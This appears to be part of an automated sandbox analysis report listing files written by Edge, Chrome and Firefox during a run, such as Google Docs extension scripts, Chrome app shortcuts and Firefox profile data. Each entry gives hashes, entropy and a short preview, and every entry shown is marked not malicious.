Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 02:23:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9781659892809933
Encrypted:	false
SSDEEP:	48:8WdgTEIsHVidAKZdA19ehwiZUklqehgy+3:8N/C/y
MD5:	2E9725CBC799839DECCC7FA1B048138D
SHA1:	7D684310F07028046C1637E85BBA08610ACCCBFD
SHA-256:	D99A308A0B1C819765D23A75DB25F25AFC68C3F49A218198D0B49510700D2EED
SHA-512:	92E5253F4571EBA7AF63D4C4F289E5F0559EF5EE82B77129A8198AA675899EA5071E9CA8047F07DFC92E49821F375E647B855F4ADF991A170E24960CBA9D2698
Malicious:	false
Preview:	L..................F.@.. ...$+.,....ym.? >..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 02:23:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9940609383035586
Encrypted:	false
SSDEEP:	48:88dgTEIsHVidAKZdA1weh/iZUkAQkqehvy+2:8f/Y9QWy
MD5:	C47F0CC8C16EAB5A15C4EBC81272FFBF
SHA1:	A0DC176353854B44164953C96B14439D017414B2
SHA-256:	F041EFB6DDAC67005590F3FF56E2184B4E32097D2C4832FEA85EA82F1C97F7C6
SHA-512:	294FA3C8A09DE75BF110675128410117845D2CC8469864E92B60C0F26DAD3C4E25C2A8259858BA7F7A57899A49F68DB7EA1C3205F0CD6FA497BF969ACE2007FF
Malicious:	false
Preview:	L..................F.@.. ...$+.,......> >..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007816524607616
Encrypted:	false
SSDEEP:	48:8xRdgTEIsHVidAKZdA14tseh7sFiZUkmgqeh7sly+BX:8x0/QnLy
MD5:	8B3D7D45FADE596F6C86014EAE14CB7C
SHA1:	38938DC6B758E25FC3A107BD7FBD83AEB3B34484
SHA-256:	1FC96B75A991BC90E6354576273A6078C1050B017C59EF4D3682C654F81B27D1
SHA-512:	1249906C2321D65FE87D8465B337E60531ABFA70631BAAE4F7C9F25416EE9EF49463B3C9D78799F9EC379CF1779B1E593346D1324D0967B8D7965F4F865DD57B
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 02:23:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.993637580197282
Encrypted:	false
SSDEEP:	48:8ndgTEIsHVidAKZdA1vehDiZUkwqehTy+R:8e/DNy
MD5:	E3254E52708BCCFFE3C7629E8CFA6372
SHA1:	05CB2D048836583B65E071FE37977FD986433BB2
SHA-256:	9FB0E51C9CF0CF60271DF1F6ADD3055198669F29A661E85A93138A66FD1D2023
SHA-512:	A97C6CCBDEFC2858FE0F06F0EAB87359CC7BEFFC3B0728D7F75CD20FE0AC85C8F7919CC4871A3786F275AF1E08459075650C37275CE5477B45B842DE1B8C256B
Malicious:	false
Preview:	L..................F.@.. ...$+.,....^..> >..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 02:23:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9846897878062335
Encrypted:	false
SSDEEP:	48:8idgTEIsHVidAKZdA1hehBiZUk1W1qehBy+C:85/T9hy
MD5:	56CFD245D78BFFCD3F0D55B2A20DD6E7
SHA1:	CE7046CC94D45BB7EB88966F36F0C5AA928D25C3
SHA-256:	9E4B056C03C2350050F2604B22025381C28838CC6C5B359CAA1086ECD6154E53
SHA-512:	935A3C05733A0D6A4A4283B2D479508A54EB8989612FB0A5DA0E84A4D460B865CF909C39B8593C8E9A35D99D5D61D22CB1A45A57BA7EC264BBC883FCC936D017
Malicious:	false
Preview:	L..................F.@.. ...$+.,....J..> >..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sun Nov 24 02:23:35 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.991482053255419
Encrypted:	false
SSDEEP:	48:82dgTEIsHVidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:8t/DT/TbxWOvTbLy7T
MD5:	3856174DEF34EEC5EBCAB7D66F3734E0
SHA1:	FDF994B3CBE0F150E3B51F7084BE9790DCB9A773
SHA-256:	15A6EF28E68A3EBBEE46FB05F5666076C87C82E261A9C5A4CB9DB060A121AAD0
SHA-512:	453E97DC89DD43AF3923EB5793F348445C74D54F3AA47D3D1A6EC12A1FFFA89E64BBAF936362B3C28C4A57D9CF06B6FE04CD9BB2923AC66B7D6D1152955F87B2
Malicious:	false
Preview:	L..................F.@.. ...$+.,....:p.> >..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IxY......B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VxY......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VxY......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VxY............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VxY.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.925322081365727
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNf9uxeln:8S+OVPUFRbOdwNIOdYpjvY1Q6L0g8P
MD5:	2CF74988D699D8971EC729216392CC36
SHA1:	5B615A9BF2848767F32532049D1075FC43CC5444
SHA-256:	828B443117CFA7F09841A969338C799FBEC1038ED944C4ABA5D4F23524EDCDFF
SHA-512:	7BE50D3B3CD5F4426F7E1AEBE5E9344A0C921487B4B20CF524BE8D686EEACAB81A047485B35B24408458B5D2197598E33DA616EAC32A4489F50DC090928CB344
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.925322081365727
Encrypted:	false
SSDEEP:	48:YnSwkmrOVPUFRbOdwNIOdoWLEWLtkDZuwpx5FBvipA6kb92the6LuhakNf9uxeln:8S+OVPUFRbOdwNIOdYpjvY1Q6L0g8P
MD5:	2CF74988D699D8971EC729216392CC36
SHA1:	5B615A9BF2848767F32532049D1075FC43CC5444
SHA-256:	828B443117CFA7F09841A969338C799FBEC1038ED944C4ABA5D4F23524EDCDFF
SHA-512:	7BE50D3B3CD5F4426F7E1AEBE5E9344A0C921487B4B20CF524BE8D686EEACAB81A047485B35B24408458B5D2197598E33DA616EAC32A4489F50DC090928CB344
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"3ba649bc-be47-4b92-8762-21cab57bda3b","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-04T13:40:33.697Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFhP42vh/n49p2zMollltlstFhP42vh/n49p2zU/x89//alEl:GtWt02vJe2xtWt02vJe2Ax89XuM
MD5:	28B2414BE8BFEACA691842A32DCB1826
SHA1:	79EF4B2D366F8B80677AB7D22F2973ABD5C7808C
SHA-256:	8F13ACD285D65EAC380BC3AC0B515181458C0A9FF6649A0D43A4719903709B12
SHA-512:	75035D4379D0EC3EE9DD81FEEF6A4EAC79A449CD1FD8FA311B9B63804CB384AB5D79515B0C2E72046DCC31303A6AC7A9E9334238E9BC6850C5F523C6E64B2753
Malicious:	false
Preview:	..-.....................6j..S}.Wc..Z...pL.....<..-.....................6j..S}.Wc..Z...pL.....<........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

